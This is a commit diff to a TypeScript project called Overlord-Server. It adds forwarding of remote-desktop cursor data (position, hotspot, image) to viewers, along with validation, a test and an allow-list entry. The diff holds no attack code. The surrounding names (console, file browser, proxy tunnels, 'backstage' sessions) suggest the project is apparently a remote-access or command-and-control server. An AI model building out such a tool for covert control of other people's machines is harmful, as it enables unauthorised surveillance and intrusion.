real cursor shit

Overlord-Server/src/main-server.ts

@@ -93,6 +93,7 @@ import {
   handleConsoleOutput,
   handleDesktopEncoderCapabilities,
   handleDesktopStreamStats,
+  handleDesktopCursor,
   handleConsoleViewerMessage,
   handleConsoleViewerOpen,
   handlebackstageViewerMessage,
@@ -658,6 +659,7 @@ async function startServer() {
     handleConsoleOutput: (clientId: string, payload: any) => handleConsoleOutput(clientId, payload),
     handleDesktopEncoderCapabilities: (clientId: string, payload: any) => handleDesktopEncoderCapabilities(clientId, payload),
     handleDesktopStreamStats: (clientId: string, payload: any) => handleDesktopStreamStats(clientId, payload),
+    handleDesktopCursor: (clientId: string, payload: unknown) => handleDesktopCursor(clientId, payload),
     handleFileBrowserMessage: (clientId: string, payload: any) =>
       forwardFileBrowserMessage(clientId, payload, {
         pendingHttpDownloads,

Overlord-Server/src/protocol.ts

@@ -9,6 +9,7 @@ export type MessageKind =
   | "command_result"
   | "desktop_encoder_capabilities"
   | "desktop_stream_stats"
+  | "desktop_cursor"
   | "client_logs_result"
   | "screenshot_result"
   | "frame"
@@ -224,6 +225,20 @@ export type FrameHeader = {
 
 export type Frame = { type: "frame"; header: FrameHeader; data: Uint8Array };
 export type FrameAck = { type: "frame_ack" };
+export type DesktopCursor = {
+  type: "desktop_cursor";
+  x: number;
+  y: number;
+  width: number;
+  height: number;
+  visible: boolean;
+  cursorWidth?: number;
+  cursorHeight?: number;
+  hotspotX?: number;
+  hotspotY?: number;
+  image?: Uint8Array;
+};
+
 export type DesktopStreamStats = {
   type: "desktop_stream_stats";
   fps: number;
@@ -547,6 +562,7 @@ export type WireMessage =
   | Frame
   | FrameAck
   | DesktopStreamStats
+  | DesktopCursor
   | Status
   | ConsoleOutput
   | FileListResult

Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts

@@ -229,6 +229,7 @@ type WsLifecycleDeps = {
   handleConsoleOutput: (clientId: string, payload: any) => void;
   handleDesktopEncoderCapabilities: (clientId: string, payload: any) => void;
   handleDesktopStreamStats: (clientId: string, payload: any) => void;
+  handleDesktopCursor: (clientId: string, payload: unknown) => void;
   handleFileBrowserMessage: (clientId: string, payload: any) => void;
   handleProxyTunnelData: (clientId: string, connectionId: string, data: Uint8Array) => void;
   handleProxyTunnelClose: (clientId: string, connectionId: string) => void;
@@ -808,6 +809,9 @@ export async function handleWebSocketMessage(
       case "desktop_encoder_capabilities":
         deps.handleDesktopEncoderCapabilities(client.id, payload);
         break;
+      case "desktop_cursor":
+        deps.handleDesktopCursor(client.id, payload);
+        break;
       case "desktop_stream_stats":
         deps.handleDesktopStreamStats(client.id, payload);
         break;

Overlord-Server/src/server/ws-console-rd-backstage.test.ts

@@ -10,6 +10,7 @@ import {
   handleRemoteDesktopViewerMessage,
   handleRemoteDesktopViewerOpen,
   handleDesktopStreamStats,
+  handleDesktopCursor,
   handleDesktopEncoderCapabilities,
   backstageStreamingState,
   rdStreamingState,
@@ -218,6 +219,41 @@ describe("remote desktop viewer control", () => {
     expect(message.transport).toBe("webrtc");
   });
 
+  test("forwards cursor metadata without modifying video frames", () => {
+    const clientId = `rd-cursor-${Date.now().toString(36)}`;
+    createClient(clientId);
+    const viewer = createMockWs({ clientId });
+    handleRemoteDesktopViewerOpen(viewer as unknown as Parameters<typeof handleRemoteDesktopViewerOpen>[0]);
+
+    handleDesktopCursor(clientId, {
+      type: "desktop_cursor",
+      x: 640,
+      y: 360,
+      width: 1280,
+      height: 720,
+      visible: true,
+      cursorWidth: 32,
+      cursorHeight: 32,
+      hotspotX: 3,
+      hotspotY: 4,
+      image: new Uint8Array([137, 80, 78, 71]),
+    });
+
+    expect(decodeMessage(viewer.sent.at(-1) as Uint8Array)).toEqual({
+      type: "desktop_cursor",
+      x: 640,
+      y: 360,
+      width: 1280,
+      height: 720,
+      visible: true,
+      cursorWidth: 32,
+      cursorHeight: 32,
+      hotspotX: 3,
+      hotspotY: 4,
+      image: new Uint8Array([137, 80, 78, 71]),
+    });
+  });
+
   test("selects one mutually compatible codec across all viewer transports", () => {
     const clientId = `rd-codecs-${Date.now().toString(36)}`;
     createClient(clientId);

Overlord-Server/src/server/ws-console-rd-backstage.ts

@@ -1568,6 +1568,33 @@ function releaseCanvasFrameAck(clientId: string, sessionId?: string): boolean {
   }
 }
 
+export function handleDesktopCursor(clientId: string, payload: unknown) {
+  const data = payload && typeof payload === "object" ? payload as Record<string, unknown> : {};
+  const image = data.image instanceof Uint8Array && data.image.byteLength <= 256 * 1024
+    ? data.image
+    : undefined;
+  const cursor = {
+    type: "desktop_cursor",
+    x: Math.max(0, Math.floor(Number(data.x) || 0)),
+    y: Math.max(0, Math.floor(Number(data.y) || 0)),
+    width: Math.max(0, Math.floor(Number(data.width) || 0)),
+    height: Math.max(0, Math.floor(Number(data.height) || 0)),
+    visible: data.visible === true,
+    ...(image
+      ? {
+          cursorWidth: Math.max(1, Math.floor(Number(data.cursorWidth) || 1)),
+          cursorHeight: Math.max(1, Math.floor(Number(data.cursorHeight) || 1)),
+          hotspotX: Math.max(0, Math.floor(Number(data.hotspotX) || 0)),
+          hotspotY: Math.max(0, Math.floor(Number(data.hotspotY) || 0)),
+          image,
+        }
+      : {}),
+  };
+  for (const session of sessionManager.getRdSessionsForClient(clientId)) {
+    safeSendViewer(session.viewer, cursor, "rd-cursor");
+  }
+}
+
 export function handleDesktopStreamStats(clientId: string, payload: any) {
   const stats = {
     type: "desktop_stream_stats",

Overlord-Server/src/wsValidation.test.ts

@@ -11,6 +11,7 @@ describe("wsValidation", () => {
     expect(ALLOWED_CLIENT_MESSAGE_TYPES.has("hello")).toBe(true);
     expect(ALLOWED_CLIENT_MESSAGE_TYPES.has("ping")).toBe(true);
     expect(ALLOWED_CLIENT_MESSAGE_TYPES.has("frame")).toBe(true);
+    expect(ALLOWED_CLIENT_MESSAGE_TYPES.has("desktop_cursor")).toBe(true);
   });
 
   test("unknown client message types are rejected", () => {

Overlord-Server/src/wsValidation.ts

@@ -22,6 +22,7 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
   "command_result",
   "desktop_encoder_capabilities",
   "desktop_stream_stats",
+  "desktop_cursor",
   "client_logs_result",
   "screenshot_result",
   "command_progress",